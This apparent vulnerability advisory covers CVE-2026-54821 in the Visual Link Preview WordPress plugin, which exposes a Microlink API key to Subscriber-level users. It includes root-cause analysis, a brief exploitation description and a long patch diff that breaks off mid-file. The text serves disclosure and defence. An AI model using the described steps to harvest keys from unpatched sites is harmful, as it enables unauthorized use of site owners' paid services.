Published : June 28, 2026

CVE-2026-54821: Visual Link Preview <= 2.3.1 Authenticated (Subscriber+) Sensitive Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 2.3.1
Patched Version 2.4.0
Disclosed June 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54821:

This vulnerability exposes sensitive WordPress configuration data through the Visual Link Preview plugin. Version 2.3.1 and earlier allow authenticated attackers with Subscriber-level access to extract the Microlink API key. The CVSS score is 4.3, reflecting the low complexity but requirement for authentication.

The root cause is in `/visual-link-preview/includes/admin/class-vlp-assets.php`. At line 70, the plugin localizes a script with the array `microlink_api_key` using `VLP_Settings::get( ‘microlink_api_key’ )`. This function retrieves the raw API key from the database. The `vlp_public_admin` script is enqueued on the frontend for logged-in users, including Subscribers. The key is sent to the browser as a JavaScript variable, making it accessible to any authenticated user viewing the page source. The vulnerable code path is in `class-vlp-assets.php`, lines 67-72.

An attacker with Subscriber-level credentials logs into WordPress. They navigate to any page where the plugin enqueues the `vlp_public_admin` script. The attacker views the page source and finds the JavaScript object containing `microlink_api_key`. The exact payload is a simple GET request to any frontend page while authenticated. The attacker inspects the inline script that defines the JavaScript variable. No special parameters or POST data are needed. The API key is then usable for off-site attacks or to access Microlink services.

The patch in version 2.4.0 removes the line `’microlink_api_key’ => VLP_Settings::get( ‘microlink_api_key’ ),` from the localized script data. This prevents the API key from being sent to the browser. The diff shows the deletion at line 70 of `class-vlp-assets.php`. Before the patch, the key was included in every page load for authenticated users. After the patch, the key is never exposed to the client-side. The plugin also updates the `VLP_VERSION` to 2.4.0 and adds substantial changes to the vendor settings library to support versioned component loading. The core fix removes the data exposure by not transmitting the sensitive value.

Successful exploitation gives an attacker the Microlink API key. This key can be used to make API calls on behalf of the site owner. Depending on the Microlink service plan, the attacker could incur costs, access rate-limited features, or extract metadata from external URLs. The exposure is limited to the API key. It does not grant access to the WordPress database beyond what the Subscriber role already has. The key is a shared credential that attackers can use for unauthorized API consumption.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/visual-link-preview/includes/admin/class-vlp-assets.php
+++ b/visual-link-preview/includes/admin/class-vlp-assets.php
@@ -67,7 +67,6 @@
 			),
 			'post_types' => $post_types,
 			'settings_link' => admin_url( 'options-general.php?page=bv_settings_vlp' ),
-			'microlink_api_key' => VLP_Settings::get( 'microlink_api_key' ),
 			'url_providers' => VLP_Url_Provider_Manager::get_available_providers(),
 		));
 	}
--- a/visual-link-preview/includes/class-visual-link-preview.php
+++ b/visual-link-preview/includes/class-visual-link-preview.php
@@ -31,7 +31,7 @@
 	 * @since    1.0.0
 	 */
 	private function define_constants() {
-		define( 'VLP_VERSION', '2.3.1' );
+		define( 'VLP_VERSION', '2.4.0' );
 		define( 'VLP_DIR', plugin_dir_path( dirname( __FILE__ ) ) );
 		define( 'VLP_URL', plugin_dir_url( dirname( __FILE__ ) ) );
 	}
--- a/visual-link-preview/includes/public/api/class-vlp-api-block.php
+++ b/visual-link-preview/includes/public/api/class-vlp-api-block.php
@@ -65,7 +65,7 @@
 	 */
 	public static function api_search( $request ) {
 		$post_type = sanitize_key( $request['post_type'] );
-        $keyword = sanitize_text_field( $request['keyword'] );
+        $keyword = sanitize_text_field( (string) $request['keyword'] );

         // Sanitize Post Type.
 		$all_post_types = get_post_types( array(
@@ -81,12 +81,21 @@
         }

         $args = array(
-            's' => $keyword,
             'post_type' => $post_type,
             'post_status' => 'any',
-            'posts_per_page' => 50,
+            'perm' => 'readable',
         );

+        if ( '' === $keyword ) {
+            $args['posts_per_page'] = 20;
+            $args['orderby'] = 'date';
+            $args['order'] = 'DESC';
+            $args['ignore_sticky_posts'] = true;
+        } else {
+            $args['s'] = $keyword;
+            $args['posts_per_page'] = 50;
+        }
+
         $args = apply_filters( 'vlp_search_args', $args );
         $query = new WP_Query( $args );

@@ -102,6 +111,15 @@

                 $post_type = get_post_type_object( $post->post_type );

+                $thumbnail_url = '';
+                $thumbnail_id = get_post_thumbnail_id( $post->ID );
+                if ( $thumbnail_id ) {
+                    $thumbnail = wp_get_attachment_image_src( $thumbnail_id, 'thumbnail' );
+                    if ( $thumbnail ) {
+                        $thumbnail_url = $thumbnail[0];
+                    }
+                }
+
                 $posts[] = array(
                     'id' => $post->ID,
                     'title' => $post->post_title,
@@ -110,6 +128,7 @@
                     'date' => $post->post_date,
                     'date_display' => mysql2date( "j M 'y", $post->post_date ),
                     'post_type' => $post_type->labels->singular_name,
+                    'thumbnail' => $thumbnail_url,
                     'label' => $post_type->labels->singular_name . ' ' . $post->ID . ' - ' . $post->post_title,
                 );
             }
--- a/visual-link-preview/vendor/bv-settings/bv-settings.php
+++ b/visual-link-preview/vendor/bv-settings/bv-settings.php
@@ -1,8 +1,76 @@
 <?php
+
+if ( ! defined( 'BVS_VERSION' ) ) {
+	define( 'BVS_VERSION', '1.1.1' );
+}
+
+if ( ! defined( 'BVS_DIR' ) ) {
+	define( 'BVS_DIR', trailingslashit( dirname( __FILE__ ) ) );
+}
+
+if ( ! defined( 'BVS_URL' ) ) {
+	define( 'BVS_URL', plugin_dir_url( __FILE__ ) );
+}
+
+if ( ! function_exists( 'bv_settings_register_component' ) ) {
+	/**
+	 * Register a BV Settings component implementation.
+	 *
+	 * @since	1.1.0
+	 * @param	string $version Component version.
+	 * @param	string $dir     Component base directory.
+	 * @param	string $url     Component base URL.
+	 * @param	string $loader  Loader file for the implementation.
+	 * @param	string $class   Implementation class name.
+	 */
+	function bv_settings_register_component( $version, $dir, $url, $loader, $class ) {
+		if ( ! isset( $GLOBALS['bv_settings_components'] ) || ! is_array( $GLOBALS['bv_settings_components'] ) ) {
+			$GLOBALS['bv_settings_components'] = array();
+		}
+
+		$component = array(
+			'version' => $version,
+			'dir'     => trailingslashit( $dir ),
+			'url'     => trailingslashit( $url ),
+			'loader'  => $loader,
+			'class'   => $class,
+		);
+
+		$GLOBALS['bv_settings_components'][ $version ] = $component;
+
+		if (
+			! isset( $GLOBALS['bv_settings_active_component'] )
+			|| version_compare( $version, $GLOBALS['bv_settings_active_component']['version'], '>' )
+		) {
+			$GLOBALS['bv_settings_active_component'] = $component;
+		}
+	}
+}
+
+if ( ! function_exists( 'bv_settings_get_active_component' ) ) {
+	/**
+	 * Get the active BV Settings component implementation.
+	 *
+	 * @since	1.1.0
+	 * @return array|null
+	 */
+	function bv_settings_get_active_component() {
+		if ( isset( $GLOBALS['bv_settings_active_component'] ) ) {
+			return $GLOBALS['bv_settings_active_component'];
+		}
+
+		return null;
+	}
+}
+
 if ( ! class_exists( 'BV_Settings' ) ) {
-    define( 'BVS_VERSION', '1.0.1' );
-    define( 'BVS_DIR', trailingslashit( dirname( __FILE__ ) ) );
-    define( 'BVS_URL', plugin_dir_url( __FILE__ ) );
+	require_once dirname( __FILE__ ) . '/includes/class-bv-settings.php';
+}

-    require( 'includes/class-bv-settings.php' );
-}
 No newline at end of file
+bv_settings_register_component(
+	'1.1.1',
+	dirname( __FILE__ ),
+	plugin_dir_url( __FILE__ ),
+	trailingslashit( dirname( __FILE__ ) ) . 'includes/class-bv-settings-implementation.php',
+	'BV_Settings_V1_1_0'
+);
--- a/visual-link-preview/vendor/bv-settings/includes/class-bv-settings-implementation.php
+++ b/visual-link-preview/vendor/bv-settings/includes/class-bv-settings-implementation.php
@@ -0,0 +1,155 @@
+<?php
+/**
+ * Versioned BV Settings implementation loader.
+ *
+ * @link       https://bootstrapped.ventures
+ * @since      1.1.0
+ *
+ * @package    BV_Settings
+ */
+
+require_once dirname( __FILE__ ) . '/class-bvs-api.php';
+require_once dirname( __FILE__ ) . '/class-bvs-menu.php';
+require_once dirname( __FILE__ ) . '/class-bvs-saver.php';
+require_once dirname( __FILE__ ) . '/class-bvs-structure.php';
+
+if ( ! class_exists( 'BV_Settings_V1_1_0' ) ) {
+	/**
+	 * Versioned core component implementation.
+	 *
+	 * @since 1.1.0
+	 */
+	class BV_Settings_V1_1_0 {
+		public $atts;
+		public $helpers;
+		public $component;
+
+		/**
+		 * Make sure all is set up for the component to load.
+		 *
+		 * @since   1.1.0
+		 * @param   array $atts      Component attributes.
+		 * @param   array $component Registered component metadata.
+		 */
+		public function __construct( $atts = array(), $component = array() ) {
+			$this->component = $component;
+
+			// Set defaults.
+			$atts = shortcode_atts(
+				array(
+					'uid'                 => '',
+					'menu_priority'       => 10,
+					'menu_title'          => __( 'Settings', 'bv-settings' ),
+					'menu_parent'         => 'options-general.php',
+					'page_title'          => __( 'Settings', 'bv-settings' ),
+					'page_slug'           => false,
+					'required_capability' => 'manage_options',
+					'settings'            => array(),
+					'required_addons'     => array(),
+				),
+				$atts
+			);
+
+			// Make sure required fields are set.
+			$atts['uid'] = sanitize_title( $atts['uid'] );
+			if ( ! $atts['uid'] ) {
+				throw new Exception( 'You need to initialize the settings with a UID.' );
+			}
+
+			// Calculated defaults.
+			if ( ! $atts['page_slug'] ) {
+				$atts['page_slug'] = 'bv_settings_' . $atts['uid'];
+			}
+
+			$this->atts = $atts;
+			$this->load_helpers();
+		}
+
+		/**
+		 * Load helper classes.
+		 *
+		 * @since 1.1.0
+		 */
+		private function load_helpers() {
+			$this->helpers['api']       = new BV_Settings_V1_1_0_API( $this );
+			$this->helpers['menu']      = new BV_Settings_V1_1_0_Menu( $this );
+			$this->helpers['saver']     = new BV_Settings_V1_1_0_Saver( $this );
+			$this->helpers['structure'] = new BV_Settings_V1_1_0_Structure( $this );
+		}
+
+		/**
+		 * Get the settings structure.
+		 *
+		 * @since   1.1.0
+		 * @param   mixed $resolve_callbacks Whether to resolve callbacks.
+		 * @return  array
+		 */
+		public function get_structure( $resolve_callbacks = false ) {
+			return $this->helpers['structure']->get_structure( $resolve_callbacks );
+		}
+
+		/**
+		 * Get the value for a specific setting.
+		 *
+		 * @since   1.1.0
+		 * @param   mixed $setting Setting to get the value for.
+		 * @return  mixed
+		 */
+		public function get( $setting ) {
+			return $this->helpers['structure']->get( $setting );
+		}
+
+		/**
+		 * Get all settings.
+		 *
+		 * @since   1.1.0
+		 * @return  array
+		 */
+		public function get_settings() {
+			return $this->helpers['structure']->get_settings();
+		}
+
+		/**
+		 * Get all settings with defaults if not set.
+		 *
+		 * @since   1.1.0
+		 * @return  array
+		 */
+		public function get_settings_with_defaults() {
+			return $this->helpers['structure']->get_settings_with_defaults();
+		}
+
+		/**
+		 * Get the default for a specific setting.
+		 *
+		 * @since   1.1.0
+		 * @param   mixed $setting Setting to get the default for.
+		 * @return  mixed
+		 */
+		public function get_default( $setting ) {
+			return $this->helpers['structure']->get_default( $setting );
+		}
+
+		/**
+		 * Get all defaults.
+		 *
+		 * @since   1.1.0
+		 * @param   boolean $force_update Whether to refresh the cache.
+		 * @return  array
+		 */
+		public function get_defaults( $force_update = false ) {
+			return $this->helpers['structure']->get_defaults( $force_update );
+		}
+
+		/**
+		 * Update settings.
+		 *
+		 * @since   1.1.0
+		 * @param   array $settings_to_update Settings to update.
+		 * @return  array
+		 */
+		public function update_settings( $settings_to_update ) {
+			return $this->helpers['saver']->update_settings( $settings_to_update );
+		}
+	}
+}
--- a/visual-link-preview/vendor/bv-settings/includes/class-bv-settings.php
+++ b/visual-link-preview/vendor/bv-settings/includes/class-bv-settings.php
@@ -1,143 +1,145 @@
 <?php
 /**
- * The core component class.
+ * Stable public wrapper for the active BV Settings implementation.
  *
- * @link       http://bootstrapped.ventures
- * @since      1.0.0
+ * @link       https://bootstrapped.ventures
+ * @since      1.1.0
  *
  * @package    BV_Settings
  */

-/**
- * The core component class.
- *
- * @since      1.0.0
- * @package    BV_Settings
- * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
- */
-class BV_Settings {
-    public $atts;
-    public $helpers;
-
+if ( ! class_exists( 'BV_Settings' ) ) {
 	/**
-	 * Make sure all is set up for the component to load.
-	 *
-	 * @since   1.0.0
-	 */
-	public function __construct( $atts = array() ) {
-        // Set defaults.
-        $atts = shortcode_atts( array(
-            'uid' => '',
-            'menu_priority' => 10,
-            'menu_title' => __( 'Settings', 'bv-settings' ),
-            'menu_parent' => 'options-general.php',
-            'page_title' => __( 'Settings', 'bv-settings' ),
-            'page_slug' => false,
-            'required_capability' => 'manage_options',
-            'settings' => array(),
-            'required_addons' => array(),
-        ), $atts );
-
-        // Make sure required fields are set.
-        $atts['uid'] = sanitize_title( $atts['uid'] );
-        if ( ! $atts['uid'] ) {
-            throw new Exception( 'You need to initialize the settings with a UID.' );
-        }
-
-        // Calculated defaults.
-        if ( ! $atts['page_slug'] ) {
-            $atts['page_slug'] = 'bv_settings_' . $atts['uid'];
-        }
-
-        // Save attributes and load helpers.
-        $this->atts = $atts;
-		$this->load_helpers();
-	}
-
-	/**
-	 * Load helper classes.
-	 *
-	 * @since   1.0.0
-	 */
-	private function load_helpers() {
-        require_once( BVS_DIR . 'includes/class-bvs-api.php' );
-        $this->helpers['api'] = new BV_API( $this );
-
-        require_once( BVS_DIR . 'includes/class-bvs-menu.php' );
-        $this->helpers['menu'] = new BV_Menu( $this );
-
-        require_once( BVS_DIR . 'includes/class-bvs-saver.php' );
-        $this->helpers['saver'] = new BV_Saver( $this );
-
-        require_once( BVS_DIR . 'includes/class-bvs-structure.php' );
-        $this->helpers['structure'] = new BV_Structure( $this );
-    }
-
-    /**
-	 * Get the settings structure.
-	 *
-	 * @since   1.0.0
-	 * @param   mixed $resolve_callbacks Wether to resolve the callbacks.
-	 */
-	public function get_structure( $resolve_callbacks = false ) {
-		return $this->helpers['structure']->get_structure( $resolve_callbacks );
-	}
-
-    /**
-	 * Get the value for a specific setting.
-	 *
-	 * @since   1.0.0
-	 * @param   mixed $setting Setting to get the value for.
-	 */
-	public function get( $setting ) {
-		return $this->helpers['structure']->get( $setting );
-    }
-
-    /**
-	 * Get all the settings.
-	 *
-	 * @since   1.0.0
-	 */
-	public function get_settings() {
-		return $this->helpers['structure']->get_settings();
-    }
-
-    /**
-	 * Get all the settings with defaults if not set.
-	 *
-	 * @since   1.0.0
-	 */
-	public function get_settings_with_defaults() {
-		return $this->helpers['structure']->get_settings_with_defaults();
-	}
-
-    /**
-	 * Get the default for a specific setting.
-	 *
-	 * @since   1.0.0
-	 * @param   mixed $setting Setting to get the default for.
-	 */
-	public function get_default( $setting ) {
-		return $this->helpers['structure']->get_default( $setting );
-    }
-
-	/**
-	 * Get the default settings.
-	 *
-	 * @since   1.0.0
-	 * @param	boolean $force_update Wether to force an update of the cache.
-	 */
-	public function get_defaults( $force_update = false ) {
-		return $this->helpers['structure']->get_defaults( $force_update );
-    }
-
-    /**
-	 * Update the settings.
+	 * Stable public wrapper for the active BV Settings implementation.
 	 *
-	 * @since	1.0.0
-	 * @param	array $settings_to_update Settings to update.
+	 * @since 1.1.0
 	 */
-	public function update_settings( $settings_to_update ) {
-		return $this->helpers['saver']->update_settings( $settings_to_update );
+	class BV_Settings {
+		public $atts;
+		public $helpers;
+		public $component;
+
+		/**
+		 * Active implementation instance.
+		 *
+		 * @since 1.1.0
+		 * @var object
+		 */
+		private $implementation;
+
+		/**
+		 * Resolve and instantiate the active component implementation.
+		 *
+		 * @since   1.1.0
+		 * @param   array $atts Component attributes.
+		 */
+		public function __construct( $atts = array() ) {
+			$component = bv_settings_get_active_component();
+
+			if ( ! $component ) {
+				throw new Exception( 'No BV Settings component is registered.' );
+			}
+
+			if ( ! class_exists( $component['class'] ) ) {
+				require_once $component['loader'];
+			}
+
+			if ( ! class_exists( $component['class'] ) ) {
+				throw new Exception( 'The active BV Settings implementation could not be loaded.' );
+			}
+
+			$class                = $component['class'];
+			$this->implementation = new $class( $atts, $component );
+			$this->atts           = &$this->implementation->atts;
+			$this->helpers        = &$this->implementation->helpers;
+			$this->component      = &$this->implementation->component;
+		}
+
+		/**
+		 * Forward unknown method calls to the active implementation.
+		 *
+		 * @since   1.1.0
+		 * @param   string $name      Method name.
+		 * @param   array  $arguments Method arguments.
+		 * @return  mixed
+		 */
+		public function __call( $name, $arguments ) {
+			return call_user_func_array( array( $this->implementation, $name ), $arguments );
+		}
+
+		/**
+		 * Get the settings structure.
+		 *
+		 * @since   1.0.0
+		 * @param   mixed $resolve_callbacks Whether to resolve the callbacks.
+		 * @return  array
+		 */
+		public function get_structure( $resolve_callbacks = false ) {
+			return $this->implementation->get_structure( $resolve_callbacks );
+		}
+
+		/**
+		 * Get the value for a specific setting.
+		 *
+		 * @since   1.0.0
+		 * @param   mixed $setting Setting to get the value for.
+		 * @return  mixed
+		 */
+		public function get( $setting ) {
+			return $this->implementation->get( $setting );
+		}
+
+		/**
+		 * Get all settings.
+		 *
+		 * @since   1.0.0
+		 * @return  array
+		 */
+		public function get_settings() {
+			return $this->implementation->get_settings();
+		}
+
+		/**
+		 * Get all settings with defaults if not set.
+		 *
+		 * @since   1.0.0
+		 * @return  array
+		 */
+		public function get_settings_with_defaults() {
+			return $this->implementation->get_settings_with_defaults();
+		}
+
+		/**
+		 * Get the default for a specific setting.
+		 *
+		 * @since   1.0.0
+		 * @param   mixed $setting Setting to get the default for.
+		 * @return  mixed
+		 */
+		public function get_default( $setting ) {
+			return $this->implementation->get_default( $setting );
+		}
+
+		/**
+		 * Get all defaults.
+		 *
+		 * @since   1.0.0
+		 * @param   boolean $force_update Whether to force a cache refresh.
+		 * @return  array
+		 */
+		public function get_defaults( $force_update = false ) {
+			return $this->implementation->get_defaults( $force_update );
+		}
+
+		/**
+		 * Update settings.
+		 *
+		 * @since   1.0.0
+		 * @param   array $settings_to_update Settings to update.
+		 * @return  array
+		 */
+		public function update_settings( $settings_to_update ) {
+			return $this->implementation->update_settings( $settings_to_update );
+		}
 	}
 }
--- a/visual-link-preview/vendor/bv-settings/includes/class-bvs-api.php
+++ b/visual-link-preview/vendor/bv-settings/includes/class-bvs-api.php
@@ -2,83 +2,101 @@
 /**
  * Handle the settings API.
  *
- * @link       http://bootstrapped.ventures
- * @since      1.0.0
+ * @link       https://bootstrapped.ventures
+ * @since      1.1.0
  *
  * @package    BV_Settings
- * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
  */

-class BV_API {
-    private $bvs;
-
+if ( ! class_exists( 'BV_Settings_V1_1_0_API' ) ) {
 	/**
-	 * Store main instance and initialize.
+	 * Handle the settings API.
 	 *
-	 * @since	1.0.0
+	 * @since 1.1.0
 	 */
-	public function __construct( $bvs ) {
-        $this->bvs = $bvs;
-		$this->init();
-	}
+	class BV_Settings_V1_1_0_API {
+		private $bvs;

-	/**
-	 * Register actions and filters.
-	 *
-	 * @since	1.0.0
-	 */
-	private function init() {
-		add_action( 'rest_api_init', array( $this, 'api_register_data' ) );
-	}
-
-	/**
-	 * Register data for the REST API.
-	 *
-	 * @since	1.0.0
-	 */
-	public function api_register_data() {
-		if ( function_exists( 'register_rest_field' ) ) { // Prevent issue with Jetpack.
-			register_rest_route( 'bv-settings/v1', '/' . $this->bvs->atts['uid'], array(
-				'callback' => array( $this, 'api_get_settings' ),
-				'methods' => 'GET',
-				'permission_callback' => array( $this, 'api_required_permissions' ),
-			));
-			register_rest_route( 'bv-settings/v1', '/' . $this->bvs->atts['uid'], array(
-				'callback' => array( $this, 'api_update_settings' ),
-				'methods' => 'POST',
-				'permission_callback' => array( $this, 'api_required_permissions' ),
-			));
+		/**
+		 * Store main instance and initialize.
+		 *
+		 * @since   1.1.0
+		 * @param   object $bvs Versioned settings implementation.
+		 */
+		public function __construct( $bvs ) {
+			$this->bvs = $bvs;
+			$this->init();
 		}
-	}

-	/**
-	 * Required permissions for the API.
-	 *
-	 * @since	1.0.0
-	 */
-	public function api_required_permissions() {
-		return current_user_can( $this->bvs->atts['required_capability'] );
-	}
+		/**
+		 * Register actions and filters.
+		 *
+		 * @since 1.1.0
+		 */
+		private function init() {
+			add_action( 'rest_api_init', array( $this, 'api_register_data' ) );
+		}

-	/**
-	 * Handle get settings call to the REST API.
-	 *
-	 * @since	1.0.0
-	 * @param	WP_REST_Request $request Current request.
-	 */
-	public function api_get_settings( $request ) {
-		return $this->bvs->get_settings_with_defaults();
-	}
+		/**
+		 * Register data for the REST API.
+		 *
+		 * @since 1.1.0
+		 */
+		public function api_register_data() {
+			if ( function_exists( 'register_rest_field' ) ) { // Prevent issue with Jetpack.
+				register_rest_route(
+					'bv-settings/v1',
+					'/' . $this->bvs->atts['uid'],
+					array(
+						'callback'            => array( $this, 'api_get_settings' ),
+						'methods'             => 'GET',
+						'permission_callback' => array( $this, 'api_required_permissions' ),
+					)
+				);
+				register_rest_route(
+					'bv-settings/v1',
+					'/' . $this->bvs->atts['uid'],
+					array(
+						'callback'            => array( $this, 'api_update_settings' ),
+						'methods'             => 'POST',
+						'permission_callback' => array( $this, 'api_required_permissions' ),
+					)
+				);
+			}
+		}

-	/**
-	 * Handle update settings call to the REST API.
-	 *
-	 * @since	1.0.0
-	 * @param	WP_REST_Request $request Current request.
-	 */
-	public function api_update_settings( $request ) {
-		$params = $request->get_params();
-		$settings = isset( $params['settings'] ) ? $params['settings'] : array();
-		return $this->bvs->update_settings( $settings );
+		/**
+		 * Required permissions for the API.
+		 *
+		 * @since   1.1.0
+		 * @return  bool
+		 */
+		public function api_required_permissions() {
+			return current_user_can( $this->bvs->atts['required_capability'] );
+		}
+
+		/**
+		 * Handle get settings call to the REST API.
+		 *
+		 * @since   1.1.0
+		 * @param   WP_REST_Request $request Current request.
+		 * @return  array
+		 */
+		public function api_get_settings( $request ) {
+			return $this->bvs->get_settings_with_defaults();
+		}
+
+		/**
+		 * Handle update settings call to the REST API.
+		 *
+		 * @since   1.1.0
+		 * @param   WP_REST_Request $request Current request.
+		 * @return  array
+		 */
+		public function api_update_settings( $request ) {
+			$params   = $request->get_params();
+			$settings = isset( $params['settings'] ) ? $params['settings'] : array();
+			return $this->bvs->update_settings( $settings );
+		}
 	}
 }
--- a/visual-link-preview/vendor/bv-settings/includes/class-bvs-menu.php
+++ b/visual-link-preview/vendor/bv-settings/includes/class-bvs-menu.php
@@ -2,73 +2,96 @@
 /**
  * Handle the settings menu.
  *
- * @link       http://bootstrapped.ventures
- * @since      1.0.0
+ * @link       https://bootstrapped.ventures
+ * @since      1.1.0
  *
  * @package    BV_Settings
- * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
  */

-class BV_Menu {
-    private $bvs;
-
+if ( ! class_exists( 'BV_Settings_V1_1_0_Menu' ) ) {
 	/**
-	 * Store main instance and initialize.
+	 * Handle the settings menu.
 	 *
-	 * @since   1.0.0
+	 * @since 1.1.0
 	 */
-	public function __construct( $bvs ) {
-        $this->bvs = $bvs;
-		$this->init();
-	}
+	class BV_Settings_V1_1_0_Menu {
+		private $bvs;

-	/**
-	 * Register actions and filters.
-	 *
-	 * @since   1.0.0
-	 */
-	private function init() {
-        add_action( 'admin_menu', array( $this, 'add_submenu_page' ), $this->bvs->atts['menu_priority'] );
-        add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin' ) );
-    }
-
-    /**
-	 * Add the settings menu page.
-	 *
-	 * @since   1.0.0
-	 */
-	public function add_submenu_page() {
-		add_submenu_page( $this->bvs->atts['menu_parent'], $this->bvs->atts['page_title'], $this->bvs->atts['menu_title'], $this->bvs->atts['required_capability'], $this->bvs->atts['page_slug'], array( $this, 'settings_page_template' ) );
+		/**
+		 * Store main instance and initialize.
+		 *
+		 * @since   1.1.0
+		 * @param   object $bvs Versioned settings implementation.
+		 */
+		public function __construct( $bvs ) {
+			$this->bvs = $bvs;
+			$this->init();
+		}
+
+		/**
+		 * Register actions and filters.
+		 *
+		 * @since 1.1.0
+		 */
+		private function init() {
+			add_action( 'admin_menu', array( $this, 'add_submenu_page' ), $this->bvs->atts['menu_priority'] );
+			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin' ) );
+		}
+
+		/**
+		 * Add the settings menu page.
+		 *
+		 * @since 1.1.0
+		 */
+		public function add_submenu_page() {
+			add_submenu_page(
+				$this->bvs->atts['menu_parent'],
+				$this->bvs->atts['page_title'],
+				$this->bvs->atts['menu_title'],
+				$this->bvs->atts['required_capability'],
+				$this->bvs->atts['page_slug'],
+				array( $this, 'settings_page_template' )
+			);
+		}
+
+		/**
+		 * Get the template for the settings page.
+		 *
+		 * @since 1.1.0
+		 */
+		public function settings_page_template() {
+			wp_localize_script(
+				'bv-settings',
+				'bv_settings',
+				array(
+					'structure'       => array_values( $this->bvs->get_structure( true ) ),
+					'settings'        => $this->bvs->get_settings_with_defaults(),
+					'defaults'        => $this->bvs->get_defaults(),
+					'required_addons' => apply_filters( $this->bvs->atts['uid'] . '_settings_required_addons', $this->bvs->atts['required_addons'] ),
+					'eol'             => PHP_EOL,
+					'api'             => array(
+						'endpoint' => get_rest_url( null, 'bv-settings/v1/' . $this->bvs->atts['uid'] ),
+						'nonce'    => wp_create_nonce( 'wp_rest' ),
+					),
+				)
+			);
+
+			echo '<div id="bvs-settings" class="wrap">Loading...</div>';
+		}
+
+		/**
+		 * Enqueue admin assets for the settings page.
+		 *
+		 * @since 1.1.0
+		 */
+		public function enqueue_admin() {
+			$screen = get_current_screen();
+
+			// Only enqueue on settings page.
+			if ( $screen && $this->bvs->atts['page_slug'] === substr( $screen->id, -1 * strlen( $this->bvs->atts['page_slug'] ) ) ) {
+				wp_enqueue_style( 'bv-settings', $this->bvs->component['url'] . 'dist/admin.css', array(), $this->bvs->component['version'], 'all' );
+				wp_enqueue_script( 'bv-settings', $this->bvs->component['url'] . 'dist/admin.js', array(), $this->bvs->component['version'], true );
+			}
+		}
 	}
-
-    /**
-	 * Get the template for the settings page.
-	 *
-	 * @since    1.0.0
-	 */
-	public function settings_page_template() {
-		wp_localize_script( 'bv-settings', 'bv_settings', array(
-			'structure' => array_values( $this->bvs->get_structure( true ) ),
-			'settings' => $this->bvs->get_settings_with_defaults(),
-			'defaults' => $this->bvs->get_defaults(),
-			'required_addons' => $this->bvs->atts['required_addons'],
-			'eol' => PHP_EOL,
-			'api' => array(
-				'endpoint' => get_rest_url( null, 'bv-settings/v1/' . $this->bvs->atts['uid'] ),
-				'nonce' => wp_create_nonce( 'wp_rest' ),
-			),
-		) );
-
-		echo '<div id="bvs-settings" class="wrap">Loading...</div>';
-    }
-
-    public function enqueue_admin() {
-        $screen = get_current_screen();
-
-        // Only enqueue on settings page.
-        if ( $this->bvs->atts['page_slug'] === substr( $screen->id, -1 * strlen( $this->bvs->atts['page_slug'] ) ) ) {
-            wp_enqueue_style( 'bv-settings', BVS_URL . 'dist/admin.css', array(), BVS_VERSION, 'all' );
-            wp_enqueue_script( 'bv-settings', BVS_URL . 'dist/admin.js', array(), BVS_VERSION, true );
-        }
-    }
 }
--- a/visual-link-preview/vendor/bv-settings/includes/class-bvs-saver.php
+++ b/visual-link-preview/vendor/bv-settings/includes/class-bvs-saver.php
@@ -2,130 +2,139 @@
 /**
  * Handle the settings saving.
  *
- * @link       http://bootstrapped.ventures
- * @since      1.0.0
+ * @link       https://bootstrapped.ventures
+ * @since      1.1.0
  *
  * @package    BV_Settings
- * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
  */

-class BV_Saver {
-	private $bvs;
-
+if ( ! class_exists( 'BV_Settings_V1_1_0_Saver' ) ) {
 	/**
-	 * Store main instance and initialize.
+	 * Handle the settings saving.
 	 *
-	 * @since   1.0.0
+	 * @since 1.1.0
 	 */
-	public function __construct( $bvs ) {
-		$this->bvs = $bvs;
-	}
+	class BV_Settings_V1_1_0_Saver {
+		private $bvs;

-	/**
-	 * Update the settings.
-	 *
-	 * @since	1.0.0
-	 * @param	array $settings_to_update Settings toB update.
-	 */
-	public function update_settings( $settings_to_update ) {
-		$old_settings = $this->bvs->get_settings();
+		/**
+		 * Store main instance and initialize.
+		 *
+		 * @since   1.1.0
+		 * @param   object $bvs Versioned settings implementation.
+		 */
+		public function __construct( $bvs ) {
+			$this->bvs = $bvs;
+		}

-		if ( is_array( $settings_to_update ) ) {
-			$settings_to_update = $this->sanitize_settings( $settings_to_update );
-			$new_settings = array_merge( $old_settings, $settings_to_update );
+		/**
+		 * Update the settings.
+		 *
+		 * @since   1.1.0
+		 * @param   array $settings_to_update Settings to update.
+		 * @return  array
+		 */
+		public function update_settings( $settings_to_update ) {
+			$old_settings = $this->bvs->get_settings();
+
+			if ( is_array( $settings_to_update ) ) {
+				$settings_to_update = $this->sanitize_settings( $settings_to_update );
+				$new_settings       = array_merge( $old_settings, $settings_to_update );

-			$new_settings = apply_filters( $this->bvs->atts['uid'] . '_settings_update', $new_settings, $old_settings );
+				$new_settings = apply_filters( $this->bvs->atts['uid'] . '_settings_update', $new_settings, $old_settings );

-			update_option( $this->bvs->atts['uid'] . '_settings', $new_settings );
-			$this->bvs->helpers['structure']->set_settings( $new_settings );
-		}
+				update_option( $this->bvs->atts['uid'] . '_settings', $new_settings );
+				$this->bvs->helpers['structure']->set_settings( $new_settings );
+			}

-		return $this->bvs->get_settings();
-	}
+			return $this->bvs->get_settings();
+		}

-	/**
-	 * Sanitize the settings.
-	 *
-	 * @since	1.0.0
-	 * @param	array $settings Settings to sanitize.
-	 */
-	public function sanitize_settings( $settings ) {
-		$sanitized_settings = array();
-		$settings_details = $this->bvs->helpers['structure']->get_details();
-
-		foreach ( $settings as $id => $value ) {
-			if ( array_key_exists( $id, $settings_details ) ) {
-				$details = $settings_details[ $id ];
-
-				$sanitized_value = NULL;
-
-				// Check for custom sanitization function.
-				if ( isset( $details['sanitize'] ) && is_callable( $details['sanitize'] ) ) {
-					$sanitized_value = call_user_func( $details['sanitize'], $value );
-				}
+		/**
+		 * Sanitize the settings.
+		 *
+		 * @since   1.1.0
+		 * @param   array $settings Settings to sanitize.
+		 * @return  array
+		 */
+		public function sanitize_settings( $settings ) {
+			$sanitized_settings = array();
